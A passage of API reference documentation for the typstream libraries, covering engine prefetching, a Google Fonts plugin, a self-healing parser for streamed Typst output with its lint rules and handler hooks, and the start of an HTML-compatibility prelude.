download fails. Calls while one is under way, or after one succeeded, return its promise, so the files are fetched
once per page; after a failure the next call tries again. Nothing runs: no worker, no wasm instance, no memory held. When `engineWorker()` starts later, it
finds them in the caches. The fonts go into the Cache Storage cache the worker reads them from (`typstream-fonts`), so
they're found whatever your server's cache headers say. The wasm goes through the HTTP cache, so serve it cacheable:
bundlers emit it with a content hash, which hosts usually serve as immutable. An engine on a server (`fromWebSocket`)
downloads none of this.

```ts
import { prefetchEngine } from "@typstream/engine/prefetch";

void prefetchEngine(); // at app start: a document may come later
```

<Callout type="warn" title="Beta">
`prefetchEngine` is beta.
</Callout>

## `@typstream/engine/worker`

The default worker script: `serve(engineWasm({ wasm, fonts: baseFonts, lazyFonts: [...extraFonts, ...scriptFonts] }))`, with the fonts from
`@typstream/engine-wasm/fonts`. It has no exports; importing it starts the server in the current worker.
`engineWorker()` spawns it, so you rarely need it directly.

Its `wasm` is shared between workers, so a page downloads and compiles the engine once. When it initializes, the worker
fetches `wasmUrl` (from `@typstream/engine-wasm/wasm`), compiles it and posts `{ "typstream/wasm": module }`, the
`WebAssembly.Module`, to the page. A message of that shape received before `initialize` is used instead: the worker
compiles nothing. Neither is part of the protocol. `engineWorker()` keeps the module and sends it to every worker it
starts after that, and `fromWorker` drops the message, so a client never sees it. If you spawn this worker with your
own message handling, ignore that message.

## See also

- [The engine](/docs/concepts/engine)
- [Fallback](/docs/concepts/fallback)
- [Self-hosting the engine](/docs/guides/self-hosting)
- [Remote engine](/docs/guides/remote-engine)
- [Exports](/docs/guides/exports)
- [Telemetry](/docs/guides/telemetry)
- [`@typstream/core`](/docs/reference/core), for the protocol and event types


# @typstream/google-fonts

> Any family of the Google Fonts library in typstream documents, by name, as a plugin; a font catalogue the engine loads families from when a document names them, in both render targets.

Source: https://typstream.vercel.app/docs/reference/google-fonts

`@typstream/google-fonts` lets documents use any family of the [Google Fonts](https://fonts.google.com) library by
name: `#set text(font: "Lora")`. It is a plugin. It gives the engine a **font catalogue**, an index of the library's
families and their files, which the engine downloads a family from the first time a document names it, and compiles
the document again with it. Its preamble keeps the fonts in the HTML target, and its prompt rules tell the model it
may use them.

## When to use it

Add it when the documents you show should look the way their author (or a model) chose: a handwriting font for a
worksheet's notes, a serif for a reading passage. Leave it out if readers' browsers mustn't contact a third-party
server, unless you [mirror the files](/docs/guides/fonts-and-languages#limits).

## Install

```npm
npm install @typstream/google-fonts
```

## Example

```tsx
import { googleFonts } from "@typstream/google-fonts";
import { Typstream } from "typstream";

<Typstream source={text} plugins={[googleFonts]} />;
```

```ts
import { buildSystemPrompt, edu } from "@typstream/edu";
import { googleFonts } from "@typstream/google-fonts";

// The model learns it may use any Google Fonts family.
const system = buildSystemPrompt([edu, googleFonts]);
```

How the catalogue works, what it costs and its limits: [Fonts and languages](/docs/guides/fonts-and-languages#any-google-fonts-family).

## The catalogue

`catalogue.json` lists every family of [github.com/google/fonts](https://github.com/google/fonts) at one commit: its
name, and its font files with their style, weight (a range for variable fonts) and size. Files over 20 MB, which
jsDelivr doesn't serve, are left out, and with them eight CJK and emoji families. `node scripts/catalogue.mjs` (in the
package's repository) writes it again from the commit it names, or from another one.

The engine loads a family whole when its files are 1 MB or less together. A larger static family loads its regular and
bold of each style, and a variable font covers every weight. A family over the catalogue's `maxBytes` (5 MB by
default) isn't loaded.

## API

| Export | What it is |
| --- | --- |
| [`googleFonts`](#googlefonts) | The plugin, with its defaults. |
| [`createGoogleFonts`](#creategooglefonts) | The plugin with another size limit or index. |
| [`GOOGLE_FONTS_INDEX`](#google_fonts_index) | The URL of the package's `catalogue.json`. |
| [`googleFontsPreamble`](#googlefontspreamble) | The Typst that keeps fonts in the HTML target. |

### googleFonts

```ts
const googleFonts: TypstreamPlugin;
```

The plugin, with key `"google-fonts"`:

- `engine.fontCatalogues`: the catalogue, `{ index: GOOGLE_FONTS_INDEX }`.
- `engine.preamble`: [`googleFontsPreamble`](#googlefontspreamble).
- `sanitize.allowAttrs`: `{ span: ["data-typstream-font"] }`, the attribute the preamble writes.
- `prompt.rules`: any Google Fonts family by its exact name, with examples, and the families to use for Arial or
  Helvetica (Arimo), Times New Roman (Tinos), Calibri (Carlito), Cambria (Caladea), Courier New (Cousine) and Comic Sans
  MS (Comic Neue).

### createGoogleFonts

```ts
function createGoogleFonts(options?: GoogleFontsOptions): TypstreamPlugin;

interface GoogleFontsOptions {
  /** The most a family may download, in bytes. Default 5 MB. */
  maxBytes?: number;
  /** URL of the index to use instead of the package's. */
  index?: string;
}
```

The plugin with another limit, or another index: a copy of `catalogue.json` whose `base` points at your own mirror of
the files, so that readers' browsers download nothing from jsDelivr.

### GOOGLE_FONTS_INDEX

```ts
const GOOGLE_FONTS_INDEX: string;
```

The URL of `catalogue.json`, next to the package's JavaScript: bundlers emit it as an asset, so the engine fetches the
index from your origin. The font files come from `cdn.jsdelivr.net`.

### googleFontsPreamble

```ts
const googleFontsPreamble: string;
```

Typst's HTML export drops fonts. In the HTML target, this marks text whose font isn't the document's own with that
font's family, lowercased: `<span data-typstream-font="lora">`. The renderer shows the families the engine loaded in
those spans. Equations (MathML keeps its math font) and frames (Typst draws them) aren't marked, and the paged target
is left as it is. Use it in your own plugin's preamble to show your own font catalogue's families in the HTML target.


# @typstream/heal

> The self-healing parser that turns any prefix of streamed Typst into a source that parses, with lint fixes for Markdown habits.

Source: https://typstream.vercel.app/docs/reference/heal

`@typstream/heal` takes any prefix of a model's Typst output and returns a source that parses. It closes what is open
(`[b` becomes `[b]`), drops what can't be completed yet (`#let x = `), and fixes Markdown habits in text that has
settled (`## Heading` becomes `== Heading`). It is a faithful port of Typst 0.15.1's lexer and parser, checked against
Typst's own parser, with no dependencies beyond `@typstream/core`. [Healing](/docs/concepts/healing) explains the
model behind it.

## When to use it

You usually don't call it yourself. `@typstream/engine` heals every document before compiling it, and `<Typstream>` and
`mountTypstream` pass their `heal` option through to it. Use this package directly when you:

- compile streamed Typst with your own engine and need each prefix to parse;
- want the "writing a table…" status from `openFrames` without rendering anything;
- lint a finished document for Markdown habits (`@typstream/node`'s `validate` does this for you);
- write [heal handlers](#handlers) for a plugin and want to test them in isolation.

## Install

```npm
npm install @typstream/heal
```

## Example

```ts
import { createHealer, heal } from "@typstream/heal";

heal("#table(columns: 2, [a], [b").source; // "#table(columns: 2, [a], [b])"
heal("Hello *bold").source; // "Hello *bold*"
heal("$x^").source; // "$x$"
heal("#let x = ").source; // ""  (an incomplete statement is dropped, not guessed)
heal("#set text(size: 12").source; // ""  (a half-written rule is never applied)

// Streaming: re-parses only from the last checkpoint before each change.
const healer = createHealer();
for await (const chunk of stream) {
  const { source, openFrames, stableOffset } = healer.push(chunk);
  compile(source); // always parses
}
const done = healer.finish(); // the complete document: lint everything, report what's still broken
```

## How it works

1. **Normalize** the raw output: strip a ```` ```typst ```` (or ```` ```typ ````) fence around the whole document and a
   BOM, and hold back half a surrogate pair at the end.
2. **Recognize** the text with the ported lexer and parser. It records what the end of the text needs (close a
   delimiter, or cut an incomplete construct), settled syntax errors, and checkpoints to resume from after an edit.
3. **Repair the tail**: cut, then close. Every candidate is re-recognized before it is accepted. A closer that would
   merge with the last token (`\` followed by `*`) gets a separator, or the token is dropped.
4. **Lint settled text**: text before the stable offset, or everything in final mode.

Text before `stableOffset` never changes meaning as more text arrives, and the healer never rewrites it except for lint
fixes. All offsets are UTF-16 indices into the input (JS string indices).

## API

| Export | What it is |
| --- | --- |
| [`heal(input, options?)`](#heal) | One-shot healing. |
| [`createHealer(options?)`](#createhealer) | Incremental healer: `push`, `set`, `applyEdit`, `setStreamingRange`, `finish`, `result`, `reset`. |
| [`HealOptions`](#healoptions) | `final`, `dropIncompleteRules`, `lint`, `unwrapFences`, `streamingRange`, `handlers`. |
| [`HealResult`](#healresult) | `source`, `stableOffset`, `suffixOffset`, `map`, `patches`, `openFrames`, `findings`, `errors`. |
| [`blockStarts(text, checkpoints?)`](#blockstarts) | Where a text's top-level blocks start (`@beta`): the units a streaming range covers. |
| [`DEFAULT_LINT`](#lint-rules) | The lint rules and their default severities. |
| [`HealHandler`](#handlers) | Product-specific fixes: `{ name, phase, priority?, run(ctx) }`. |
| [`recognize(text, from?, options?)`](#recognize) | The recognizer on its own: requirements, errors, checkpoints. |
| [`normalize(raw, options?)`](#normalize) | The normalization step on its own. |

### heal

```ts
const heal: (input: string, opts?: HealOptions) => HealResult;
```

Heals a complete or partial Typst source in one call. It is stateless: each call recognizes the whole input. For a
stream, use [`createHealer`](#createhealer), which gives the same results while re-parsing only what changed.

```ts
import { heal } from "@typstream/heal";

const { source, openFrames } = heal("= Quiz\n#question(points: 2)[What is $1/2");
// source: "= Quiz\n#question(points: 2)[What is $1/2$]"
// openFrames: [{ frame: "math", open: 36 }, { frame: "content", open: 27 }]

// A finished document: no tail repair, and every rule lints the whole text.
const { source: fixed, findings } = heal("## Results\n**Total**: 12", { final: true });
// fixed: "== Results\n*Total*: 12"
```

### createHealer

```ts
const createHealer: (options?: HealOptions) => Healer;
```

Creates an incremental healer. It keeps the recognizer's state and, after each change, resumes at the last checkpoint
before it and stops as soon as recognition is back in step with the previous state. Results equal what
[`heal`](#heal) returns for the same input and options.

| Method | What it does |
| --- | --- |
| `push(chunk)` | Appends streamed text. |
| `set(input)` | Replaces the whole input (for example a `source` prop that grows) and diffs it against the previous one. |
| `applyEdit({ from, to, insert })` | Applies an edit to the input: editors, collaboration, AI rewrites. |
| `setStreamingRange(range)` | Marks `[from, to)` of the input as being written by a model; `null` heals the whole tail again. |
| `finish()` | The stream ended: heals the complete document (no tail repair) and lints all of it. |
| `result()` | The latest result, without changing anything. |
| `reset(input?)` | Starts over with the original options and `input` (default `""`). |
| `input` | The current input (read-only). |

Every method except `reset` returns a [`HealResult`](#healresult).

```ts
import { createHealer } from "@typstream/heal";

const healer = createHealer();
healer.push("= Quiz\n");
const r = healer.push("#question(points: 2)[What is ");
r.source; // "= Quiz\n#question(points: 2)[What is ]"
r.openFrames; // [{ frame: "content", open: 27 }]
r.stableOffset; // 7: "= Quiz\n" is settled

const done = healer.finish();
done.errors; // syntax errors healing could not fix, e.g. a delimiter the model never closed
```

**Streaming into the middle of a document.** When a model rewrites part of an existing document, mark the part with
`setStreamingRange` and write into it with `applyEdit`. Only the range is repaired, as a tail; the text before and after
it is settled, and comes out as it did, lint fixes included (`suffixOffset` is where the text after it starts in
`source`). The range moves with later edits: text inserted at its end extends it. On a finished healer, the document
heals in streaming mode again until `finish()`. Keep the range block-aligned: from a block's start
([`blockStarts`](#blockstarts)) to the end of a block's text, leaving the blank line after it outside, or the range's
last line runs into the next block while it's written.

```ts
const doc = "= Notes\n\nIntro.\n\nOld question.\n\nOutro, with m/s$^2$.";
const healer = createHealer();
healer.set(doc);
healer.finish(); // a finished document
const from = doc.indexOf("Old");
const to = from + "Old question.".length; // the block's text, not the blank line after it
healer.setStreamingRange({ from, to });
const r = healer.applyEdit({ from, to, insert: "#table(columns: 2, [a" }); // the range follows the edit
r.source; // '= Notes\n\nIntro.\n\n#table(columns: 2, [a])\n\nOutro, with m/s$""^2$.'
r.source.slice(r.suffixOffset); // the settled text after the range, with its lint fix
healer.finish(); // done: final mode again
```

### Healer

An incremental healer (createHealer): every change returns what heal gives for the new input.

| Prop                | Type                                   | Description                                                                                                                                                                                                                                                                                                                                                                        |
| ------------------- | -------------------------------------- | ---------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------- |
| `push`              | `(chunk: string) => HealResult`        | Appends streamed text.                                                                                                                                                                                                                                                                                                                                                             |
| `set`               | `(input: string) => HealResult`        | Replaces the whole input (e.g. a `source` prop that grows); diffs it against the previous one.                                                                                                                                                                                                                                                                                     |
| `applyEdit`         | `(edit: TextEdit) => HealResult`       | Applies an edit to the input (editors, collaboration, AI rewrites).                                                                                                                                                                                                                                                                                                                |
| `setStreamingRange` | `(range: Range \| null) => HealResult` | Marks `[from, to)` of the input as being written by a model (an edit streaming into the document, PLAN §5.2): only it is repaired, as a tail, and the text after it is settled. Edits move it, and text inserted at its end extends it. On a finished healer, the document is being written again: it heals in streaming mode until `finish()`. `null` heals the whole tail again. |
| `streamingRange`    | `Range \| null`                        | The range `setStreamingRange` marked, as edits since have moved it, or `null`.                                                                                                                                                                                                                                                                                                     |
| `finish`            | `() => HealResult`                     | The stream ended: heal the complete document (no tail repair).                                                                                                                                                                                                                                                                                                                     |
| `result`            | `() => HealResult`                     | The latest result.                                                                                                                                                                                                                                                                                                                                                                 |
| `reset`             | `(input?: string) => void`             | Starts over with `input` (default "") and the healer's original options (undoes `finish`, `setStreamingRange`).                                                                                                                                                                                                                                                                    |
| `input`             | `string`                               | The current raw input, before normalization: everything pushed, set or edited in so far.                                                                                                                                                                                                                                                                                           |

### HealOptions

### HealOptions

Options for heal and createHealer.

| Prop                   | Type                                                                | Description                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                   |
| ---------------------- | ------------------------------------------------------------------- | --------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------- |
| `final?`               | `boolean \| undefined`                                              | The document is complete: no tail repair; lint everything.                                                                                                                                                                                                                                                                                                                                                                                                                                                                                    |
| `dropIncompleteRules?` | `boolean \| undefined`                                              | Drop a set/show/import/include rule entirely while it is incomplete (default true).                                                                                                                                                                                                                                                                                                                                                                                                                                                           |
| `lint?`                | `Partial<Record<LintRuleId, boolean \| LintSeverity>> \| undefined` | Per-rule overrides of DEFAULT_LINT: a severity, or `true` for `fix` and `false` for `off`.                                                                                                                                                                                                                                                                                                                                                                                                                                                    |
| `unwrapFences?`        | `"auto" \| "never" \| undefined`                                    | Strip a Markdown code fence (typst or typ) around the whole output (default "auto").                                                                                                                                                                                                                                                                                                                                                                                                                                                          |
| `streamingRange?`      | `Range \| null \| undefined`                                        | Heal only text written into `[from, to)` of an existing document (AI edits): the text after it is settled, and is linted as it would be on its own. Ignored with `final`. Keep it block-aligned, the case healing is tested on: from the start of a top-level block (blockStarts) to the end of a block's text, so that the text after it starts with the blank line between blocks (or the range ends the document). Otherwise, while the range is written, its last line runs into the next block's first (a heading would turn into text). |
| `handlers?`            | `HealHandler[] \| undefined`                                        | Product-specific fixes (a plugin's `heal.handlers`): `settled` ones run with lint, `output` ones on `source`.                                                                                                                                                                                                                                                                                                                                                                                                                                 |

- `final`: use it when the document is complete. Nothing is cut or closed, every rule lints the whole text, and
  whatever is still open at the end is reported in `errors`. `Healer.finish()` sets it for you.
- `dropIncompleteRules` (default `true`): a `set`, `show`, `import` or `include` statement is dropped entirely while it
  is incomplete, so a half-written `#set text(size: 12` never restyles the whole document for one frame. With `false`
  it is closed like any other call.
- `lint`: per-rule overrides of [`DEFAULT_LINT`](#lint-rules), by rule id. `"fix"`, `"warn"` or `"off"`; `true` means
  `"fix"` and `false` means `"off"`.
- `unwrapFences` (default `"auto"`): strip a Markdown code fence (`typst` or `typ`) wrapped around the whole output.
  `"never"` leaves it.
- `streamingRange`: heal only text written into `[from, to)` of an existing document, in input offsets.
- `handlers`: [heal handlers](#handlers), run alongside the lint rules or on the healed output.

### HealResult

### HealResult

What healing returns: a source that parses, how it maps to the input, and what was fixed or is still wrong.

| Prop           | Type                                                                                           | Description                                                                                                                                                                                                                                               |
| -------------- | ---------------------------------------------------------------------------------------------- | --------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------- |
| `source`       | `string`                                                                                       | Source to compile.                                                                                                                                                                                                                                        |
| `stableOffset` | `number`                                                                                       | Text before this source offset is settled: appending can't change how it parses.                                                                                                                                                                          |
| `suffixOffset` | `number \| null`                                                                               | With a streaming range, where the untouched text after it starts in `source`: settled too, and healed as it is on its own (lint fixes included), so it shows as it did before the range was written. `null` without a streaming range, and in final mode. |
| `map`          | `{ toSource(inputPos: number): number; toInput(sourcePos: number, assoc?: 1 \| -1): number; }` | Maps positions between the input and `source`.                                                                                                                                                                                                            |
| `patches`      | `Patch[]`                                                                                      | Changes from the normalized input to `source` (lint fixes, tail repair, output handlers).                                                                                                                                                                 |
| `openFrames`   | `OpenFrame[]`                                                                                  | Constructs still open at the end of the input, innermost first (e.g. "writing a table…").                                                                                                                                                                 |
| `findings`     | `LintFinding[]`                                                                                | Lint rules' and `settled` handlers' findings on settled text (all of it in final mode), as input offsets. `fix` findings are already applied to `source`.                                                                                                 |
| `errors`       | `SyntaxIssue[]`                                                                                | Syntax errors healing could not fix (input offsets).                                                                                                                                                                                                      |

`map` converts positions in both directions. Use `map.toInput` to carry a compile diagnostic from the healed `source`
back to the raw text the user sees (`@typstream/core`'s `mapDiagnostic` does it for a whole diagnostic):

```ts
const r = heal("Hello *bold");
r.map.toSource(6); // 6: the `*` is where it was
r.map.toInput(12); // 11: the inserted closer maps to the end of the input
```

`patches` lists every change from the normalized input to `source`, each with a machine-readable `reason`
(`"heal:close"`, `"heal:cut"`, `"lint:<rule>"`, `"handler"`).

### OpenFrame

### OpenFrame

A construct open at the end of the input that tail repair closed in `source` (none in final mode).

| Prop    | Type        | Description                                                                               |
| ------- | ----------- | ----------------------------------------------------------------------------------------- |
| `frame` | `FrameKind` | What kind of construct it is, e.g. `content` for a `[…]` block or `math` for an equation. |
| `open`  | `number`    | Input offset of the opening delimiter.                                                    |

`openFrames` lists the constructs still open at the end of the input, innermost first. Use it for status text such as
"writing a table…". `FrameKind` is one of `"content"`, `"code-block"`, `"args"`, `"params"`, `"parens"`, `"math"`,
`"math-args"`, `"math-delimited"`, `"strong"`, `"emph"`, `"string"`, `"raw"`, `"term"` and `"text-bracket"`.

### Lint rules

Lint rules fix mistakes that are permanent, not streaming artifacts: Markdown habits and stray delimiters models
produce. They only look at settled text (or the whole document in final mode) and only at markup positions, so math,
code, raw blocks and comments are left alone.

```ts
const DEFAULT_LINT: Readonly<Record<LintRuleId, LintSeverity>>;
type LintSeverity = "fix" | "warn" | "off"; // fix applies the change, warn only reports it
```

| Rule id | Default | What it does |
| --- | --- | --- |
| `markdown-heading` | `fix` | `## Heading` becomes `== Heading`. |
| `markdown-bold` | `fix` | `**bold**` becomes `*bold*` (and `__x__` becomes `_x_`). |
| `markdown-link` | `fix` | `[text](https://…)` becomes `#link("https://…")[text]` (`http` and `https` URLs). |
| `email-at` | `fix` | Escapes an `@` inside a word (`a\@b.com`), which Typst would read as a reference. |
| `bare-hash` | `fix` | Escapes a `#` followed by a space (`\#`), which starts no expression. |
| `stray-closer` | `fix` | Escapes an unmatched `]` (`\]`). |
| `unclosed-delim` | `fix` | Escapes a `*` or `_` that is never closed in its paragraph. |
| `math-lone-script` | `fix` | Gives a `^` or `_` without a base an empty one: `m/s$^2$` becomes `m/s$""^2$`. |
| `layout-profile` | `fix` | Takes `justify`, `leading` and `linebreaks` out of `par(…)` calls and `show par: set par(…)` rules, `hyphenate` and the text edges out of `show text: set text(…)`, and `breakable` out of `show table: set table.cell(…)`: they would win over the engine's layout profile. Takes a small fixed `radius` (up to 12 pt, 1em or 4 mm) out of `block`, `rect` and `box` calls that hold content and out of their set rules: a DOCX export would make a picture of a box with rounded corners, its text not editable. A ratio or a larger radius draws a shape and stays. |
| `unclosed-block-comment` | `warn` | Reports a `/*` that is never closed and hides the rest of the document. |
| `currency-dollar` | `warn` | Reports `$` signs that look like prices (`$5 and $10`), not math. As a fix it escapes both (`\$`). |

```ts
heal("It costs $5 and $10 today", { final: true, lint: { "currency-dollar": "fix" } }).source;
// "It costs \\$5 and \\$10 today"
```

Each finding is a `LintFinding`; its `changes` are applied when its severity is `fix`:

### LintFinding

A mistake a lint rule (or a `settled` heal handler) found in settled text.

| Prop       | Type              | Description                                                                                                    |
| ---------- | ----------------- | -------------------------------------------------------------------------------------------------------------- |
| `rule`     | `string`          | The lint rule's id, or the handler's `name` for a handler's edit.                                              |
| `severity` | `"fix" \| "warn"` | `fix`: its changes are applied to the healed source; `warn`: only reported. Rules set to `off` report nothing. |
| `start`    | `number`          | Start of the flagged text (UTF-16 offset; input offsets in `HealResult.findings`).                             |
| `end`      | `number`          | End of the flagged text, exclusive (same offsets as `start`).                                                  |
| `message`  | `string`          | Human-readable explanation of the problem; a handler's finding repeats its name.                               |
| `changes`  | `TextChange[]`    | Changes this finding applies when its severity is `fix`.                                                       |

### TextChange

An edit a finding applies: replace `[from, to)` with `insert`. Offsets are into the normalized text the rule
ran on, which is the input unless normalization removed something before them (a leading fence or BOM).

| Prop     | Type     | Description                                                            |
| -------- | -------- | ---------------------------------------------------------------------- |
| `from`   | `number` | Start of the replaced text (UTF-16 offset).                            |
| `to`     | `number` | End of the replaced text, exclusive; equal to `from` for an insertion. |
| `insert` | `string` | Text put in its place (empty for a deletion).                          |

### Handlers

A heal handler is a product-specific fix that runs inside the healer, for example expanding a `[[blank]]` shorthand your
prompt allows. `HealHandler` and `HealHandlerContext` are declared in `@typstream/core` and re-exported here. Plugins
carry them in their `heal.handlers` facet, which the engine passes to the healer; see
[Writing a plugin](/docs/guides/writing-a-plugin).

```ts
import { heal, type HealHandler } from "@typstream/heal";

const blanks: HealHandler = {
  name: "blank-shorthand",
  phase: "settled",
  run({ text, from, to, modeAt }) {
    const edits = [];
    for (const m of text.slice(from, to).matchAll(/\[\[blank\]\]/g)) {
      const at = from + m.index;
      if (modeAt(at) === "markup") edits.push({ from: at, to: at + m[0].length, insert: "#blank()" });
    }
    return edits;
  },
};

heal("Fill in [[blank]] here", { final: true, handlers: [blanks] }).source; // "Fill in #blank() here"
```

There are two phases:

- `settled` handlers run with the lint rules on text whose parse can no longer change: `ctx.text` is the normalized
  input and `[ctx.from, ctx.to)` is the newly settled range. Their edits must lie inside that range (others are
  ignored), and each one appears in `findings` with the handler's name as its `rule` and severity `fix`.
- `output` handlers run on the final healed source, over all of it. `modeAt` always answers `"markup"` there.

Edits are against `ctx.text` and must not overlap. Handlers run in ascending `priority` (default 100).

### HealHandler

Extension point of `@typstream/heal` (PLAN §8.1): product-specific fixes,
run alongside the built-in lint rules (`settled`, on text whose parse can no
longer change) or on the final healed source (`output`). Returned edits are
against `ctx.text`, non-overlapping, inside `[ctx.from, ctx.to)`.

| Prop        | Type                                      | Description                                                                                                                             |
| ----------- | ----------------------------------------- | --------------------------------------------------------------------------------------------------------------------------------------- |
| `name`      | `string`                                  | Identifies the handler. A `settled` handler's edits are reported as lint findings with this as their rule (patch reason `lint:<name>`). |
| `priority?` | `number \| undefined`                     | Lower runs first; the default is 100. The built-in lint rules run before every handler.                                                 |
| `phase`     | `"output" \| "settled"`                   | When it runs: `settled` on newly settled normalized text, like the lint rules; `output` on the whole healed source, after tail repair.  |
| `run`       | `(ctx: HealHandlerContext) => TextEdit[]` | The handler's edits to `ctx.text` (see above), or `[]` when it has none.                                                                |

### HealHandlerContext

What a HealHandler sees.

| Prop     | Type                          | Description                                                                         |
| -------- | ----------------------------- | ----------------------------------------------------------------------------------- |
| `text`   | `string`                      | Normalized text (`settled`) or healed source (`output`).                            |
| `from`   | `number`                      | Range the handler may change (`settled`: newly settled text; `output`: everything). |
| `to`     | `number`                      | End of that range (exclusive).                                                      |
| `final`  | `boolean`                     | The document is complete (no tail repair runs).                                     |
| `modeAt` | `(pos: number) => SyntaxMode` | Lexical mode at a position (`settled` only; `output` handlers get `markup`).        |

### recognize

```ts
const recognize: (text: string, from?: Checkpoint, opts?: RecognizeOptions) => Recognition;
```

Runs the recognizer on its own, without repairing anything. It tells you what the end of `text` needs, the syntax errors
before it, and the root checkpoints recognition can resume from. Pass a `Checkpoint` as `from` to resume there.

```ts
import { recognize } from "@typstream/heal";

recognize("#table(columns: 2, [a").requirements;
// [{ type: "close", text: "]", open: 19, frame: "content" },
//  { type: "close", text: ")", open: 6, frame: "args" }]
```

A `Requirement` is either `{ type: "close", text, open, frame, display? }` (append `text` to close the construct opened
at `open`) or `{ type: "cut", at, reason, soft? }` (the construct from `at` can't be completed yet).

### Recognition

What recognize records about a text: what its end needs, settled errors, and where to resume.

| Prop           | Type            | Description                                                |
| -------------- | --------------- | ---------------------------------------------------------- |
| `checkpoints`  | `Checkpoint[]`  | Root checkpoints, ascending.                               |
| `requirements` | `Requirement[]` | What the end of the text needs, innermost construct first. |
| `errors`       | `SyntaxIssue[]` | Syntax errors not at the end of the text.                  |

### RecognizeOptions

Options for recognize.

| Prop                   | Type                   | Description                                                                                        |
| ---------------------- | ---------------------- | -------------------------------------------------------------------------------------------------- |
| `dropIncompleteRules?` | `boolean \| undefined` | Turn any requirement inside a set/show/import/include statement into a cut of the whole statement. |

### Checkpoint

A root-level position where the parser can resume.

| Prop      | Type     | Description                                                                                            |
| --------- | -------- | ------------------------------------------------------------------------------------------------------ |
| `offset`  | `number` | Start of the first token on a root-level line (or of the text), in the recognized text.                |
| `nesting` | `number` | Text brackets (`[` in markup that opens no block) still open here: resuming needs them to match a `]`. |

### SyntaxIssue

A syntax error appending text can't fix: recognized text's offsets, or the input's in `HealResult.errors`.

| Prop      | Type     | Description                                  |
| --------- | -------- | -------------------------------------------- |
| `start`   | `number` | Start of the erroneous text (UTF-16 offset). |
| `end`     | `number` | End of the erroneous text, exclusive.        |
| `message` | `string` | What is wrong, e.g. `unclosed delimiter`.    |

### blockStarts

```ts
function blockStarts(text: string, checkpoints?: Checkpoint[]): number[]; // @beta
```

The offsets where the text's top-level blocks start: 0, then every line after a blank line, or with a heading, at the
top level. Block `i` runs to the start of block `i + 1`. A `#question[…]` with blank lines inside is one block, and the
items of a list separated by blank lines stay one block. It's the split the engine's source anchors and its block
isolation (Layer 4) use, and what a streaming range should cover. Pass `recognize(text).checkpoints` if you have them.

### normalize

```ts
const normalize: (raw: string, opts?: NormalizeOptions) => Normalized;
```

The first step of healing on its own: strips a code fence around the whole document and a BOM, and with
`streaming: true` holds back a trailing half surrogate pair or partial fence. `@typstream/node`'s `fixLoop` uses it to
unwrap a model's fenced reply.

```ts
import { normalize } from "@typstream/heal";

normalize("```typst\n= Hi\n```").text; // "= Hi"
```

### NormalizeOptions

Options for normalize.

| Prop            | Type                             | Description                                                                         |
| --------------- | -------------------------------- | ----------------------------------------------------------------------------------- |
| `unwrapFences?` | `"auto" \| "never" \| undefined` | Strip a Markdown code fence (typst or typ) wrapped around the whole document.       |
| `streaming?`    | `boolean \| undefined`           | The text may still grow: hold back a trailing half surrogate pair or partial fence. |

### Normalized

What normalize returns: the cleaned text and how it maps back to the raw input.

| Prop      | Type      | Description                                                                    |
| --------- | --------- | ------------------------------------------------------------------------------ |
| `text`    | `string`  | The raw input without what normalization removed: the text healing recognizes. |
| `patches` | `Patch[]` | Changes from the raw input to `text`, sorted.                                  |

## See also

- [Healing](/docs/concepts/healing): what healing guarantees, with an interactive playground.
- [Streaming](/docs/concepts/streaming): how healed prefixes flow into the engine.
- [@typstream/engine](/docs/reference/engine): the client that heals and compiles each document.
- [@typstream/core](/docs/reference/core): `TextEdit`, `Patch`, `SourceMap` and the plugin contract.
- [Writing a plugin](/docs/guides/writing-a-plugin): shipping heal handlers in a plugin.


# @typstream/html-compat

> A Typst prelude and stylesheet that keep grids, alignment, shapes, placement and drawings in Typst's HTML export.

Source: https://typstream.vercel.app/docs/reference/html-compat

Typst 0.15.1's HTML export drops the layout elements it can't express, and the text inside them. `#grid[…]`,
`#align(center)[…]`, `#rect[…]`, `#place(…)`, `#stack`, `#columns`, `#pad`, the transforms and `layout` all come out
empty, with a warning such as "grid was ignored during HTML export". `@typstream/html-compat` is a Typst prelude that
maps each of them to HTML (or, for drawings, to an inline SVG), plus the CSS for that HTML.

## When to use it

Use it whenever you render the HTML target. Models use grids, alignment and boxes all the time, and without the prelude
that content disappears from the HTML. The `typstream` package's `<Typstream>` adds it by default (`htmlCompat={false}`
turns it off); with `@typstream/react`, `@typstream/dom` or `@typstream/engine`, pass the `htmlCompat` plugin yourself.

The prelude only acts when `target()` is `"html"`, so the same preamble leaves paged output byte-identical. You can keep
it on for both targets. [Render targets](/docs/concepts/render-targets) compares the two.

## Install

```npm
npm install @typstream/html-compat
```

## Example

```tsx
import { htmlCompat } from "@typstream/html-compat";
import { Typstream } from "@typstream/react";

<Typstream plugins={[htmlCompat]} source={text} />;
```

The plugin mounts the prelude, adds the preamble that applies it, lets the prelude's HTML through the sanitizer, and
adds its stylesheet to the renderer. With html-compat, this document keeps its layout in the HTML target:

```typst
#align(center)[*Fractions at a glance*]

#grid(
  columns: (1fr, 1fr),
  gutter: 12pt,
  rect(width: 100%, fill: blue.lighten(85%), radius: 4pt, inset: 10pt)[
    *Proper* \ The top is smaller: $3/4$
  ],
  rect(width: 100%, fill: orange.lighten(80%), radius: 4pt, inset: 10pt)[
    *Improper* \ The top is larger: $7/4$
  ],
)
```

Without the prelude, Typst's HTML export would contain none of this text.

## What it does

It writes the layout Typst gives a document on pages, so the HTML target looks like the paged view: with
`@typstream/dom`'s renderer (which lays the HTML out on pages) and Typst's fonts (`registerTypstFonts`, which the
`typstream` package and `mountTypstream`'s `fonts` option do for you), switching a document between the targets changes
nothing you can see. The engine puts its layout profile before HTML compiles too, and the prelude reads it: text edges,
paragraph and heading spacing, table insets.

| Element | HTML |
| --- | --- |
| Text | Size, colour, font, weight, style, tracking, word spacing and baseline shift as inline styles; lengths resolved as Typst resolves them. Paragraphs and blocks carry their text size, so their spacing is in it, as Typst's. |
| Spacing | Paragraph, block and heading spacing collapse as Typst's flow collapses them (a block's own `above`/`below` beats paragraph spacing; `v` adds to the stronger; weak and fractional spacing replace it; a tight list after a paragraph, without a blank line, is attached to it). First-line indents. |
